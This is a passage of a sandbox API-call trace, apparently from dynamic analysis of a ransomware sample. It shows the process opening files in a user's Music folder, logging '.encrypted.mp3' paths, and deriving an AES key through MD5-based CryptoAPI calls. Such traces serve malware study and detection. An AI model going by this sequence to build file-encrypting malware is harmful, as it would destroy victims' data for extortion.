lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.427] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1d62, lpOverlapped=0x0) returned 1 [0027.427] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.427] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1d62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.427] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7522) returned 1 [0027.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.encrypted.mp3\r\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0027.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.encrypted.mp3\r\n", cchWideChar=67, lpMultiByteStr=0xe8f40512c0, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 67 [0027.427] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069e30*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069e30*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x42, lpOverlapped=0x0) returned 1 [0027.427] CloseHandle (hObject=0x1fc) returned 1 [0027.428] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.428] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.428] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.428] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.429] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.429] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.429] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.429] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.430] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41783e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.430] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178580, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.430] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.m4a", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0027.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.m4a", cchWideChar=63, lpMultiByteStr=0xe8f4051db0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.m4a", lpUsedDefaultChar=0x0) returned 63 [0027.430] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\vg92tma h58wct.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0027.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=63, lpWideCharStr=0xe8f40681e0, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vg92TMA h58WcT.m4a") returned 63 [0027.431] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.432] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.432] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.432] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.432] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.432] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.432] CloseHandle (hObject=0x1fc) returned 1 [0027.432] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.433] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.433] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.433] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.433] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.433] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.433] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.434] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.434] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.434] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.434] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.434] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.434] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.434] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.434] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.435] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.435] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.435] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.435] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.435] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.435] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.435] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.435] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.435] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.435] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.436] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.436] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bae0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.436] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.436] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.436] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.437] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.437] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.437] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.437] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0027.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.438] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.438] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.438] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) 